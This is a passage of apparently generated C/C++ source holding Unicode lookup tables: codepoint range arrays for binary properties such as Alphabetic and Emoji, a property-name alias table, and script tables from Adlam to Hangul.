0x1D788}, {0x1D78A, 0x1D7A8}, {0x1D7AA, 0x1D7C2}, {0x1D7C4, 0x1D7CB}, {0x1DF00, 0x1DF1E}, {0x1DF25, 0x1DF2A}, {0x1E030, 0x1E06D}, {0x1E100, 0x1E12C}, {0x1E137, 0x1E13D}, {0x1E14E, 0x1E14E}, {0x1E290, 0x1E2AD}, {0x1E2C0, 0x1E2EB}, {0x1E4D0, 0x1E4EB}, {0x1E5D0, 0x1E5ED}, {0x1E5F0, 0x1E5F0}, {0x1E6C0, 0x1E6DE}, {0x1E6E0, 0x1E6E2}, {0x1E6E4, 0x1E6E5}, {0x1E6E7, 0x1E6ED}, {0x1E6F0, 0x1E6F4}, {0x1E6FE, 0x1E6FF}, {0x1E7E0, 0x1E7E6}, {0x1E7E8, 0x1E7EB}, {0x1E7ED, 0x1E7EE}, {0x1E7F0, 0x1E7FE}, {0x1E800, 0x1E8C4}, {0x1E900, 0x1E943}, {0x1E94B, 0x1E94B}, {0x1EE00, 0x1EE03}, {0x1EE05, 0x1EE1F}, {0x1EE21, 0x1EE22}, {0x1EE24, 0x1EE24}, {0x1EE27, 0x1EE27}, {0x1EE29, 0x1EE32}, {0x1EE34, 0x1EE37}, {0x1EE39, 0x1EE39}, {0x1EE3B, 0x1EE3B}, {0x1EE42, 0x1EE42}, {0x1EE47, 0x1EE47}, {0x1EE49, 0x1EE49}, {0x1EE4B, 0x1EE4B}, {0x1EE4D, 0x1EE4F}, {0x1EE51, 0x1EE52}, {0x1EE54, 0x1EE54}, {0x1EE57, 0x1EE57}, {0x1EE59, 0x1EE59}, {0x1EE5B, 0x1EE5B}, {0x1EE5D, 0x1EE5D}, {0x1EE5F, 0x1EE5F}, {0x1EE61, 0x1EE62}, {0x1EE64, 0x1EE64}, {0x1EE67, 0x1EE6A}, {0x1EE6C, 0x1EE72}, {0x1EE74, 0x1EE77}, {0x1EE79, 0x1EE7C}, {0x1EE7E, 0x1EE7E}, {0x1EE80, 0x1EE89}, {0x1EE8B, 0x1EE9B}, {0x1EEA1, 0x1EEA3}, {0x1EEA5, 0x1EEA9}, {0x1EEAB, 0x1EEBB}, {0x20000, 0x2A6DF}, {0x2A700, 0x2B81D}, {0x2B820, 0x2CEAD}, {0x2CEB0, 0x2EBE0}, {0x2EBF0, 0x2EE5D}, {0x2F800, 0x2FA1D}, {0x30000, 0x3134A}, {0x31350, 0x33479}, }; static const UnicodePropertyTable kBinaryProperties[] = { {"ASCII", kRanges_ASCII, 1}, {"ASCII_Hex_Digit", kRanges_ASCII_Hex_Digit, 3}, {"AHex", kRanges_ASCII_Hex_Digit, 3}, {"Alphabetic", kRanges_Alphabetic, 761}, {"Alpha", kRanges_Alphabetic, 761}, {"Any", kRanges_Any, 1}, {"Assigned", kRanges_Assigned, 735}, {"Bidi_Control", kRanges_Bidi_Control, 4}, {"Bidi_C", kRanges_Bidi_Control, 4}, {"Bidi_Mirrored", kRanges_Bidi_Mirrored, 114}, {"Bidi_M", kRanges_Bidi_Mirrored, 114}, {"Case_Ignorable", kRanges_Case_Ignorable, 464}, {"CI", kRanges_Case_Ignorable, 464}, {"Cased", kRanges_Cased, 158}, {"Changes_When_Casefolded", kRanges_Changes_When_Casefolded, 630}, {"CWCF", kRanges_Changes_When_Casefolded, 630}, {"Changes_When_Casemapped", kRanges_Changes_When_Casemapped, 131}, {"CWCM", kRanges_Changes_When_Casemapped, 131}, {"Changes_When_Lowercased", kRanges_Changes_When_Lowercased, 618}, {"CWL", kRanges_Changes_When_Lowercased, 618}, {"Changes_When_NFKC_Casefolded", kRanges_Changes_When_NFKC_Casefolded, 848}, {"CWKCF", kRanges_Changes_When_NFKC_Casefolded, 848}, {"Changes_When_Titlecased", kRanges_Changes_When_Titlecased, 633}, {"CWT", kRanges_Changes_When_Titlecased, 633}, {"Changes_When_Uppercased", kRanges_Changes_When_Uppercased, 634}, {"CWU", kRanges_Changes_When_Uppercased, 634}, {"Dash", kRanges_Dash, 24}, {"Default_Ignorable_Code_Point", kRanges_Default_Ignorable_Code_Point, 17}, {"DI", kRanges_Default_Ignorable_Code_Point, 17}, {"Deprecated", kRanges_Deprecated, 8}, {"Dep", kRanges_Deprecated, 8}, {"Diacritic", kRanges_Diacritic, 220}, {"Dia", kRanges_Diacritic, 220}, {"Emoji", kRanges_Emoji, 151}, {"Emoji_Component", kRanges_Emoji_Component, 10}, {"EComp", kRanges_Emoji_Component, 10}, {"Emoji_Modifier", kRanges_Emoji_Modifier, 1}, {"EMod", kRanges_Emoji_Modifier, 1}, {"Emoji_Modifier_Base", kRanges_Emoji_Modifier_Base, 40}, {"EBase", kRanges_Emoji_Modifier_Base, 40}, {"Emoji_Presentation", kRanges_Emoji_Presentation, 81}, {"EPres", kRanges_Emoji_Presentation, 81}, {"Extended_Pictographic", kRanges_Extended_Pictographic, 156}, {"ExtPict", kRanges_Extended_Pictographic, 156}, {"Extender", kRanges_Extender, 43}, {"Ext", kRanges_Extender, 43}, {"Grapheme_Base", kRanges_Grapheme_Base, 904}, {"Gr_Base", kRanges_Grapheme_Base, 904}, {"Grapheme_Extend", kRanges_Grapheme_Extend, 383}, {"Gr_Ext", kRanges_Grapheme_Extend, 383}, {"Hex_Digit", kRanges_Hex_Digit, 6}, {"Hex", kRanges_Hex_Digit, 6}, {"IDS_Binary_Operator", kRanges_IDS_Binary_Operator, 3}, {"IDSB", kRanges_IDS_Binary_Operator, 3}, {"IDS_Trinary_Operator", kRanges_IDS_Trinary_Operator, 1}, {"IDST", kRanges_IDS_Trinary_Operator, 1}, {"ID_Continue", kRanges_ID_Continue, 799}, {"IDC", kRanges_ID_Continue, 799}, {"ID_Start", kRanges_ID_Start, 684}, {"IDS", kRanges_ID_Start, 684}, {"Ideographic", kRanges_Ideographic, 21}, {"Ideo", kRanges_Ideographic, 21}, {"Join_Control", kRanges_Join_Control, 1}, {"Join_C", kRanges_Join_Control, 1}, {"Logical_Order_Exception", kRanges_Logical_Order_Exception, 7}, {"LOE", kRanges_Logical_Order_Exception, 7}, {"Lowercase", kRanges_Lowercase, 677}, {"Lower", kRanges_Lowercase, 677}, {"Math", kRanges_Math, 141}, {"Noncharacter_Code_Point", kRanges_Noncharacter_Code_Point, 18}, {"NChar", kRanges_Noncharacter_Code_Point, 18}, {"Pattern_Syntax", kRanges_Pattern_Syntax, 28}, {"Pat_Syn", kRanges_Pattern_Syntax, 28}, {"Pattern_White_Space", kRanges_Pattern_White_Space, 5}, {"Pat_WS", kRanges_Pattern_White_Space, 5}, {"Quotation_Mark", kRanges_Quotation_Mark, 13}, {"QMark", kRanges_Quotation_Mark, 13}, {"Radical", kRanges_Radical, 3}, {"Regional_Indicator", kRanges_Regional_Indicator, 1}, {"RI", kRanges_Regional_Indicator, 1}, {"Sentence_Terminal", kRanges_Sentence_Terminal, 88}, {"STerm", kRanges_Sentence_Terminal, 88}, {"Soft_Dotted", kRanges_Soft_Dotted, 34}, {"SD", kRanges_Soft_Dotted, 34}, {"Terminal_Punctuation", kRanges_Terminal_Punctuation, 116}, {"Term", kRanges_Terminal_Punctuation, 116}, {"Unified_Ideograph", kRanges_Unified_Ideograph, 16}, {"UIdeo", kRanges_Unified_Ideograph, 16}, {"Uppercase", kRanges_Uppercase, 660}, {"Upper", kRanges_Uppercase, 660}, {"Variation_Selector", kRanges_Variation_Selector, 4}, {"VS", kRanges_Variation_Selector, 4}, {"White_Space", kRanges_White_Space, 10}, {"space", kRanges_White_Space, 10}, {"XID_Continue", kRanges_XID_Continue, 806}, {"XIDC", kRanges_XID_Continue, 806}, {"XID_Start", kRanges_XID_Start, 691}, {"XIDS", kRanges_XID_Start, 691}, }; static const size_t kBinaryPropertiesCount = sizeof(kBinaryProperties) / sizeof(UnicodePropertyTable); static const UnicodeRange kRanges_Adlam[] = { {0x61F, 0x61F}, {0x640, 0x640}, {0x204F, 0x204F}, {0x2E41, 0x2E41}, {0x1E900, 0x1E94B}, {0x1E950, 0x1E959}, {0x1E95E, 0x1E95F}, }; static const UnicodeRange kRanges_Ahom[] = { {0x11700, 0x1171A}, {0x1171D, 0x1172B}, {0x11730, 0x11746}, }; static const UnicodeRange kRanges_Anatolian_Hieroglyphs[] = { {0x14400, 0x14646}, }; static const UnicodeRange kRanges_Arabic[] = { {0x600, 0x604}, {0x606, 0x6DC}, {0x6DE, 0x6FF}, {0x750, 0x77F}, {0x870, 0x891}, {0x897, 0x8E1}, {0x8E3, 0x8FF}, {0x204F, 0x204F}, {0x2E41, 0x2E41}, {0xFB50, 0xFDCF}, {0xFDF0, 0xFDFF}, {0xFE70, 0xFE74}, {0xFE76, 0xFEFC}, {0x102E0, 0x102FB}, {0x10E60, 0x10E7E}, {0x10EC2, 0x10EC7}, {0x10ED0, 0x10ED8}, {0x10EFA, 0x10EFF}, {0x1EE00, 0x1EE03}, {0x1EE05, 0x1EE1F}, {0x1EE21, 0x1EE22}, {0x1EE24, 0x1EE24}, {0x1EE27, 0x1EE27}, {0x1EE29, 0x1EE32}, {0x1EE34, 0x1EE37}, {0x1EE39, 0x1EE39}, {0x1EE3B, 0x1EE3B}, {0x1EE42, 0x1EE42}, {0x1EE47, 0x1EE47}, {0x1EE49, 0x1EE49}, {0x1EE4B, 0x1EE4B}, {0x1EE4D, 0x1EE4F}, {0x1EE51, 0x1EE52}, {0x1EE54, 0x1EE54}, {0x1EE57, 0x1EE57}, {0x1EE59, 0x1EE59}, {0x1EE5B, 0x1EE5B}, {0x1EE5D, 0x1EE5D}, {0x1EE5F, 0x1EE5F}, {0x1EE61, 0x1EE62}, {0x1EE64, 0x1EE64}, {0x1EE67, 0x1EE6A}, {0x1EE6C, 0x1EE72}, {0x1EE74, 0x1EE77}, {0x1EE79, 0x1EE7C}, {0x1EE7E, 0x1EE7E}, {0x1EE80, 0x1EE89}, {0x1EE8B, 0x1EE9B}, {0x1EEA1, 0x1EEA3}, {0x1EEA5, 0x1EEA9}, {0x1EEAB, 0x1EEBB}, {0x1EEF0, 0x1EEF1}, }; static const UnicodeRange kRanges_Armenian[] = { {0x308, 0x308}, {0x531, 0x556}, {0x559, 0x58A}, {0x58D, 0x58F}, {0xFB13, 0xFB17}, }; static const UnicodeRange kRanges_Avestan[] = { {0xB7, 0xB7}, {0x2E30, 0x2E31}, {0x10B00, 0x10B35}, {0x10B39, 0x10B3F}, }; static const UnicodeRange kRanges_Balinese[] = { {0x1B00, 0x1B4C}, {0x1B4E, 0x1B7F}, }; static const UnicodeRange kRanges_Bamum[] = { {0xA6A0, 0xA6F7}, {0x16800, 0x16A38}, }; static const UnicodeRange kRanges_Bassa_Vah[] = { {0x16AD0, 0x16AED}, {0x16AF0, 0x16AF5}, }; static const UnicodeRange kRanges_Batak[] = { {0x1BC0, 0x1BF3}, {0x1BFC, 0x1BFF}, }; static const UnicodeRange kRanges_Bengali[] = { {0x2BC, 0x2BC}, {0x951, 0x952}, {0x964, 0x965}, {0x980, 0x983}, {0x985, 0x98C}, {0x98F, 0x990}, {0x993, 0x9A8}, {0x9AA, 0x9B0}, {0x9B2, 0x9B2}, {0x9B6, 0x9B9}, {0x9BC, 0x9C4}, {0x9C7, 0x9C8}, {0x9CB, 0x9CE}, {0x9D7, 0x9D7}, {0x9DC, 0x9DD}, {0x9DF, 0x9E3}, {0x9E6, 0x9FE}, {0x1CD0, 0x1CD0}, {0x1CD2, 0x1CD2}, {0x1CD5, 0x1CD6}, {0x1CD8, 0x1CD8}, {0x1CE1, 0x1CE1}, {0x1CEA, 0x1CEA}, {0x1CED, 0x1CED}, {0x1CF2, 0x1CF2}, {0x1CF5, 0x1CF7}, {0xA8F1, 0xA8F1}, }; static const UnicodeRange kRanges_Beria_Erfe[] = { {0x16EA0, 0x16EB8}, {0x16EBB, 0x16ED3}, }; static const UnicodeRange kRanges_Bhaiksuki[] = { {0x11C00, 0x11C08}, {0x11C0A, 0x11C36}, {0x11C38, 0x11C45}, {0x11C50, 0x11C6C}, }; static const UnicodeRange kRanges_Bopomofo[] = { {0x2C7, 0x2C7}, {0x2C9, 0x2CB}, {0x2D9, 0x2D9}, {0x2EA, 0x2EB}, {0x3001, 0x3003}, {0x3008, 0x3011}, {0x3013, 0x301F}, {0x302A, 0x302D}, {0x3030, 0x3030}, {0x3037, 0x3037}, {0x30FB, 0x30FB}, {0x3105, 0x312F}, {0x31A0, 0x31BF}, {0xFE45, 0xFE46}, {0xFF61, 0xFF65}, }; static const UnicodeRange kRanges_Brahmi[] = { {0x11000, 0x1104D}, {0x11052, 0x11075}, {0x1107F, 0x1107F}, }; static const UnicodeRange kRanges_Braille[] = { {0x2800, 0x28FF}, }; static const UnicodeRange kRanges_Buginese[] = { {0x1A00, 0x1A1B}, {0x1A1E, 0x1A1F}, {0xA9CF, 0xA9CF}, }; static const UnicodeRange kRanges_Buhid[] = { {0x1735, 0x1736}, {0x1740, 0x1753}, }; static const UnicodeRange kRanges_Canadian_Aboriginal[] = { {0x1400, 0x167F}, {0x18B0, 0x18F5}, {0x11AB0, 0x11ABF}, }; static const UnicodeRange kRanges_Carian[] = { {0xB7, 0xB7}, {0x205A, 0x205A}, {0x205D, 0x205D}, {0x2E31, 0x2E31}, {0x102A0, 0x102D0}, }; static const UnicodeRange kRanges_Caucasian_Albanian[] = { {0x304, 0x304}, {0x331, 0x331}, {0x35E, 0x35E}, {0x10530, 0x10563}, {0x1056F, 0x1056F}, }; static const UnicodeRange kRanges_Chakma[] = { {0x9E6, 0x9EF}, {0x1040, 0x1049}, {0x11100, 0x11134}, {0x11136, 0x11147}, }; static const UnicodeRange kRanges_Cham[] = { {0xAA00, 0xAA36}, {0xAA40, 0xAA4D}, {0xAA50, 0xAA59}, {0xAA5C, 0xAA5F}, }; static const UnicodeRange kRanges_Cherokee[] = { {0x300, 0x302}, {0x304, 0x304}, {0x30B, 0x30C}, {0x323, 0x324}, {0x330, 0x331}, {0x13A0, 0x13F5}, {0x13F8, 0x13FD}, {0xAB70, 0xABBF}, }; static const UnicodeRange kRanges_Chorasmian[] = { {0x10FB0, 0x10FCB}, }; static const UnicodeRange kRanges_Common[] = { {0x0, 0x40}, {0x5B, 0x60}, {0x7B, 0xA9}, {0xAB, 0xB6}, {0xB8, 0xB9}, {0xBB, 0xBF}, {0xD7, 0xD7}, {0xF7, 0xF7}, {0x2B9, 0x2BB}, {0x2BD, 0x2C6}, {0x2C8, 0x2C8}, {0x2CC, 0x2CC}, {0x2CE, 0x2D6}, {0x2D8, 0x2D8}, {0x2DA, 0x2DF}, {0x2E5, 0x2E9}, {0x2EC, 0x2FF}, {0x37E, 0x37E}, {0x385, 0x385}, {0x387, 0x387}, {0x605, 0x605}, {0x6DD, 0x6DD}, {0x8E2, 0x8E2}, {0xE3F, 0xE3F}, {0xFD5, 0xFD8}, {0x2000, 0x200B}, {0x200E, 0x202E}, {0x2030, 0x204E}, {0x2050, 0x2059}, {0x205B, 0x205C}, {0x205E, 0x2064}, {0x2066, 0x2070}, {0x2074, 0x207E}, {0x2080, 0x208E}, {0x20A0, 0x20C1}, {0x2100, 0x2125}, {0x2127, 0x2129}, {0x212C, 0x2131}, {0x2133, 0x214D}, {0x214F, 0x215F}, {0x2189, 0x218B}, {0x2190, 0x2429}, {0x2440, 0x244A}, {0x2460, 0x27FF}, {0x2900, 0x2B73}, {0x2B76, 0x2BFF}, {0x2E00, 0x2E16}, {0x2E18, 0x2E2F}, {0x2E32, 0x2E3B}, {0x2E3D, 0x2E40}, {0x2E42, 0x2E42}, {0x2E44, 0x2E5D}, {0x3000, 0x3000}, {0x3004, 0x3004}, {0x3012, 0x3012}, {0x3020, 0x3020}, {0x3036, 0x3036}, {0x3248, 0x325F}, {0x327F, 0x327F}, {0x32B1, 0x32BF}, {0x32CC, 0x32CF}, {0x3371, 0x337A}, {0x3380, 0x33DF}, {0x33FF, 0x33FF}, {0x4DC0, 0x4DFF}, {0xA708, 0xA721}, {0xA788, 0xA78A}, {0xAB5B, 0xAB5B}, {0xAB6A, 0xAB6B}, {0xFE10, 0xFE19}, {0xFE30, 0xFE44}, {0xFE47, 0xFE52}, {0xFE54, 0xFE66}, {0xFE68, 0xFE6B}, {0xFEFF, 0xFEFF}, {0xFF01, 0xFF20}, {0xFF3B, 0xFF40}, {0xFF5B, 0xFF60}, {0xFFE0, 0xFFE6}, {0xFFE8, 0xFFEE}, {0xFFF9, 0xFFFD}, {0x10190, 0x1019C}, {0x101D0, 0x101FC}, {0x1CC00, 0x1CCFC}, {0x1CD00, 0x1CEB3}, {0x1CEBA, 0x1CED0}, {0x1CEE0, 0x1CEF0}, {0x1CF50, 0x1CFC3}, {0x1D000, 0x1D0F5}, {0x1D100, 0x1D126}, {0x1D129, 0x1D166}, {0x1D16A, 0x1D17A}, {0x1D183, 0x1D184}, {0x1D18C, 0x1D1A9}, {0x1D1AE, 0x1D1EA}, {0x1D2C0, 0x1D2D3}, {0x1D2E0, 0x1D2F3}, {0x1D300, 0x1D356}, {0x1D372, 0x1D378}, {0x1D400, 0x1D454}, {0x1D456, 0x1D49C}, {0x1D49E, 0x1D49F}, {0x1D4A2, 0x1D4A2}, {0x1D4A5, 0x1D4A6}, {0x1D4A9, 0x1D4AC}, {0x1D4AE, 0x1D4B9}, {0x1D4BB, 0x1D4BB}, {0x1D4BD, 0x1D4C3}, {0x1D4C5, 0x1D505}, {0x1D507, 0x1D50A}, {0x1D50D, 0x1D514}, {0x1D516, 0x1D51C}, {0x1D51E, 0x1D539}, {0x1D53B, 0x1D53E}, {0x1D540, 0x1D544}, {0x1D546, 0x1D546}, {0x1D54A, 0x1D550}, {0x1D552, 0x1D6A5}, {0x1D6A8, 0x1D7CB}, {0x1D7CE, 0x1D7FF}, {0x1EC71, 0x1ECB4}, {0x1ED01, 0x1ED3D}, {0x1F000, 0x1F02B}, {0x1F030, 0x1F093}, {0x1F0A0, 0x1F0AE}, {0x1F0B1, 0x1F0BF}, {0x1F0C1, 0x1F0CF}, {0x1F0D1, 0x1F0F5}, {0x1F100, 0x1F1AD}, {0x1F1E6, 0x1F1FF}, {0x1F201, 0x1F202}, {0x1F210, 0x1F23B}, {0x1F240, 0x1F248}, {0x1F260, 0x1F265}, {0x1F300, 0x1F6D8}, {0x1F6DC, 0x1F6EC}, {0x1F6F0, 0x1F6FC}, {0x1F700, 0x1F7D9}, {0x1F7E0, 0x1F7EB}, {0x1F7F0, 0x1F7F0}, {0x1F800, 0x1F80B}, {0x1F810, 0x1F847}, {0x1F850, 0x1F859}, {0x1F860, 0x1F887}, {0x1F890, 0x1F8AD}, {0x1F8B0, 0x1F8BB}, {0x1F8C0, 0x1F8C1}, {0x1F8D0, 0x1F8D8}, {0x1F900, 0x1FA57}, {0x1FA60, 0x1FA6D}, {0x1FA70, 0x1FA7C}, {0x1FA80, 0x1FA8A}, {0x1FA8E, 0x1FAC6}, {0x1FAC8, 0x1FAC8}, {0x1FACD, 0x1FADC}, {0x1FADF, 0x1FAEA}, {0x1FAEF, 0x1FAF8}, {0x1FB00, 0x1FB92}, {0x1FB94, 0x1FBFA}, {0xE0001, 0xE0001}, {0xE0020, 0xE007F}, }; static const UnicodeRange kRanges_Coptic[] = { {0xB7, 0xB7}, {0x300, 0x300}, {0x304, 0x305}, {0x307, 0x307}, {0x374, 0x375}, {0x3E2, 0x3EF}, {0x2C80, 0x2CF3}, {0x2CF9, 0x2CFF}, {0x2E17, 0x2E17}, {0x102E0, 0x102FB}, }; static const UnicodeRange kRanges_Cuneiform[] = { {0x12000, 0x12399}, {0x12400, 0x1246E}, {0x12470, 0x12474}, {0x12480, 0x12543}, }; static const UnicodeRange kRanges_Cypriot[] = { {0x10100, 0x10102}, {0x10107, 0x10133}, {0x10137, 0x1013F}, {0x10800, 0x10805}, {0x10808, 0x10808}, {0x1080A, 0x10835}, {0x10837, 0x10838}, {0x1083C, 0x1083C}, {0x1083F, 0x1083F}, }; static const UnicodeRange kRanges_Cypro_Minoan[] = { {0x10100, 0x10101}, {0x12F90, 0x12FF2}, }; static const UnicodeRange kRanges_Cyrillic[] = { {0x2BC, 0x2BC}, {0x300, 0x302}, {0x304, 0x304}, {0x306, 0x306}, {0x308, 0x308}, {0x30B, 0x30B}, {0x311, 0x311}, {0x400, 0x52F}, {0x1C80, 0x1C8A}, {0x1D2B, 0x1D2B}, {0x1D78, 0x1D78}, {0x1DF8, 0x1DF8}, {0x2DE0, 0x2DFF}, {0x2E43, 0x2E43}, {0xA640, 0xA69F}, {0xFE2E, 0xFE2F}, {0x1E030, 0x1E06D}, {0x1E08F, 0x1E08F}, }; static const UnicodeRange kRanges_Deseret[] = { {0x10400, 0x1044F}, }; static const UnicodeRange kRanges_Devanagari[] = { {0x2BC, 0x2BC}, {0x900, 0x952}, {0x955, 0x97F}, {0x1CD0, 0x1CF6}, {0x1CF8, 0x1CF9}, {0x20F0, 0x20F0}, {0xA830, 0xA839}, {0xA8E0, 0xA8FF}, {0x11B00, 0x11B09}, }; static const UnicodeRange kRanges_Dives_Akuru[] = { {0x11900, 0x11906}, {0x11909, 0x11909}, {0x1190C, 0x11913}, {0x11915, 0x11916}, {0x11918, 0x11935}, {0x11937, 0x11938}, {0x1193B, 0x11946}, {0x11950, 0x11959}, }; static const UnicodeRange kRanges_Dogra[] = { {0x964, 0x96F}, {0xA830, 0xA839}, {0x11800, 0x1183B}, }; static const UnicodeRange kRanges_Duployan[] = { {0xB7, 0xB7}, {0x307, 0x308}, {0x30A, 0x30A}, {0x323, 0x324}, {0x2E3C, 0x2E3C}, {0x1BC00, 0x1BC6A}, {0x1BC70, 0x1BC7C}, {0x1BC80, 0x1BC88}, {0x1BC90, 0x1BC99}, {0x1BC9C, 0x1BCA3}, }; static const UnicodeRange kRanges_Egyptian_Hieroglyphs[] = { {0x13000, 0x13455}, {0x13460, 0x143FA}, }; static const UnicodeRange kRanges_Elbasan[] = { {0xB7, 0xB7}, {0x305, 0x305}, {0x10500, 0x10527}, }; static const UnicodeRange kRanges_Elymaic[] = { {0x10FE0, 0x10FF6}, }; static const UnicodeRange kRanges_Ethiopic[] = { {0x30E, 0x30E}, {0x1200, 0x1248}, {0x124A, 0x124D}, {0x1250, 0x1256}, {0x1258, 0x1258}, {0x125A, 0x125D}, {0x1260, 0x1288}, {0x128A, 0x128D}, {0x1290, 0x12B0}, {0x12B2, 0x12B5}, {0x12B8, 0x12BE}, {0x12C0, 0x12C0}, {0x12C2, 0x12C5}, {0x12C8, 0x12D6}, {0x12D8, 0x1310}, {0x1312, 0x1315}, {0x1318, 0x135A}, {0x135D, 0x137C}, {0x1380, 0x1399}, {0x2D80, 0x2D96}, {0x2DA0, 0x2DA6}, {0x2DA8, 0x2DAE}, {0x2DB0, 0x2DB6}, {0x2DB8, 0x2DBE}, {0x2DC0, 0x2DC6}, {0x2DC8, 0x2DCE}, {0x2DD0, 0x2DD6}, {0x2DD8, 0x2DDE}, {0xAB01, 0xAB06}, {0xAB09, 0xAB0E}, {0xAB11, 0xAB16}, {0xAB20, 0xAB26}, {0xAB28, 0xAB2E}, {0x1E7E0, 0x1E7E6}, {0x1E7E8, 0x1E7EB}, {0x1E7ED, 0x1E7EE}, {0x1E7F0, 0x1E7FE}, }; static const UnicodeRange kRanges_Garay[] = { {0x60C, 0x60C}, {0x61B, 0x61B}, {0x61F, 0x61F}, {0x10D40, 0x10D65}, {0x10D69, 0x10D85}, {0x10D8E, 0x10D8F}, }; static const UnicodeRange kRanges_Georgian[] = { {0xB7, 0xB7}, {0x589, 0x589}, {0x10A0, 0x10C5}, {0x10C7, 0x10C7}, {0x10CD, 0x10CD}, {0x10D0, 0x10FF}, {0x1C90, 0x1CBA}, {0x1CBD, 0x1CBF}, {0x205A, 0x205A}, {0x2D00, 0x2D25}, {0x2D27, 0x2D27}, {0x2D2D, 0x2D2D}, {0x2E31, 0x2E31}, }; static const UnicodeRange kRanges_Glagolitic[] = { {0xB7, 0xB7}, {0x303, 0x303}, {0x305, 0x305}, {0x484, 0x484}, {0x487, 0x487}, {0x589, 0x589}, {0x10FB, 0x10FB}, {0x205A, 0x205A}, {0x2C00, 0x2C5F}, {0x2E43, 0x2E43}, {0xA66F, 0xA66F}, {0x1E000, 0x1E006}, {0x1E008, 0x1E018}, {0x1E01B, 0x1E021}, {0x1E023, 0x1E024}, {0x1E026, 0x1E02A}, }; static const UnicodeRange kRanges_Gothic[] = { {0xB7, 0xB7}, {0x304, 0x305}, {0x308, 0x308}, {0x331, 0x331}, {0x10330, 0x1034A}, }; static const UnicodeRange kRanges_Grantha[] = { {0x951, 0x952}, {0x964, 0x965}, {0xBE6, 0xBF3}, {0x1CD0, 0x1CD0}, {0x1CD2, 0x1CD3}, {0x1CF2, 0x1CF4}, {0x1CF8, 0x1CF9}, {0x20F0, 0x20F0}, {0x11300, 0x11303}, {0x11305, 0x1130C}, {0x1130F, 0x11310}, {0x11313, 0x11328}, {0x1132A, 0x11330}, {0x11332, 0x11333}, {0x11335, 0x11339}, {0x1133B, 0x11344}, {0x11347, 0x11348}, {0x1134B, 0x1134D}, {0x11350, 0x11350}, {0x11357, 0x11357}, {0x1135D, 0x11363}, {0x11366, 0x1136C}, {0x11370, 0x11374}, {0x11FD0, 0x11FD1}, {0x11FD3, 0x11FD3}, }; static const UnicodeRange kRanges_Greek[] = { {0xB7, 0xB7}, {0x300, 0x301}, {0x304, 0x304}, {0x306, 0x306}, {0x308, 0x308}, {0x313, 0x313}, {0x342, 0x342}, {0x345, 0x345}, {0x370, 0x377}, {0x37A, 0x37D}, {0x37F, 0x37F}, {0x384, 0x384}, {0x386, 0x386}, {0x388, 0x38A}, {0x38C, 0x38C}, {0x38E, 0x3A1}, {0x3A3, 0x3E1}, {0x3F0, 0x3FF}, {0x1D26, 0x1D2A}, {0x1D5D, 0x1D61}, {0x1D66, 0x1D6A}, {0x1DBF, 0x1DC1}, {0x1F00, 0x1F15}, {0x1F18, 0x1F1D}, {0x1F20, 0x1F45}, {0x1F48, 0x1F4D}, {0x1F50, 0x1F57}, {0x1F59, 0x1F59}, {0x1F5B, 0x1F5B}, {0x1F5D, 0x1F5D}, {0x1F5F, 0x1F7D}, {0x1F80, 0x1FB4}, {0x1FB6, 0x1FC4}, {0x1FC6, 0x1FD3}, {0x1FD6, 0x1FDB}, {0x1FDD, 0x1FEF}, {0x1FF2, 0x1FF4}, {0x1FF6, 0x1FFE}, {0x205D, 0x205D}, {0x2126, 0x2126}, {0xAB65, 0xAB65}, {0x10140, 0x1018E}, {0x101A0, 0x101A0}, {0x1D200, 0x1D245}, }; static const UnicodeRange kRanges_Gujarati[] = { {0x951, 0x952}, {0x964, 0x965}, {0xA81, 0xA83}, {0xA85, 0xA8D}, {0xA8F, 0xA91}, {0xA93, 0xAA8}, {0xAAA, 0xAB0}, {0xAB2, 0xAB3}, {0xAB5, 0xAB9}, {0xABC, 0xAC5}, {0xAC7, 0xAC9}, {0xACB, 0xACD}, {0xAD0, 0xAD0}, {0xAE0, 0xAE3}, {0xAE6, 0xAF1}, {0xAF9, 0xAFF}, {0xA830, 0xA839}, }; static const UnicodeRange kRanges_Gunjala_Gondi[] = { {0xB7, 0xB7}, {0x964, 0x965}, {0x11D60, 0x11D65}, {0x11D67, 0x11D68}, {0x11D6A, 0x11D8E}, {0x11D90, 0x11D91}, {0x11D93, 0x11D98}, {0x11DA0, 0x11DA9}, }; static const UnicodeRange kRanges_Gurmukhi[] = { {0x951, 0x952}, {0x964, 0x965}, {0xA01, 0xA03}, {0xA05, 0xA0A}, {0xA0F, 0xA10}, {0xA13, 0xA28}, {0xA2A, 0xA30}, {0xA32, 0xA33}, {0xA35, 0xA36}, {0xA38, 0xA39}, {0xA3C, 0xA3C}, {0xA3E, 0xA42}, {0xA47, 0xA48}, {0xA4B, 0xA4D}, {0xA51, 0xA51}, {0xA59, 0xA5C}, {0xA5E, 0xA5E}, {0xA66, 0xA76}, {0xA830, 0xA839}, }; static const UnicodeRange kRanges_Gurung_Khema[] = { {0x965, 0x965}, {0x16100, 0x16139}, }; static const UnicodeRange kRanges_Han[] = { {0xB7, 0xB7}, {0x2E80, 0x2E99}, {0x2E9B, 0x2EF3}, {0x2F00, 0x2FD5}, {0x2FF0, 0x2FFF}, {0x3001, 0x3003}, {0x3005, 0x3011}, {0x3013, 0x301F}, {0x3021, 0x302D}, {0x3030, 0x3030}, {0x3037, 0x303F}, {0x30FB, 0x30FB}, {0x3190, 0x319F}, {0x31C0, 0x31E5}, {0x31EF, 0x31EF}, {0x3220, 0x3247}, {0x3280, 0x32B0}, {0x32C0, 0x32CB}, {0x32FF, 0x32FF}, {0x3358, 0x3370}, {0x337B, 0x337F}, {0x33E0, 0x33FE}, {0x3400, 0x4DBF}, {0x4E00, 0x9FFF}, {0xA700, 0xA707}, {0xF900, 0xFA6D}, {0xFA70, 0xFAD9}, {0xFE45, 0xFE46}, {0xFF61, 0xFF65}, {0x16FE2, 0x16FE3}, {0x16FF0, 0x16FF6}, {0x1D360, 0x1D371}, {0x1F250, 0x1F251}, {0x20000, 0x2A6DF}, {0x2A700, 0x2B81D}, {0x2B820, 0x2CEAD}, {0x2CEB0, 0x2EBE0}, {0x2EBF0, 0x2EE5D}, {0x2F800, 0x2FA1D}, {0x30000, 0x3134A}, {0x31350, 0x33479}, }; static const UnicodeRange kRanges_Hangul[] = { {0x1100, 0x11FF}, {0x3001, 0x3003}, {0x3008, 0x3011}, {0x3013, 0x301F}, {0x302E, 0x3030}, {0x3037, 0x3037}, {0x30FB, 0x30FB}, {0x3131, 0x318E}, {0x3200, 0x321E}, {0x3260, 0x327E}, {0xA960, 0xA97C}, {0xAC00, 0xD7A3}, {0xD7B0, 0xD7C6}, {0xD7CB, 0xD7FB}, {0xFE45, 0xFE46}, {0xFF61, 0xFF65}, 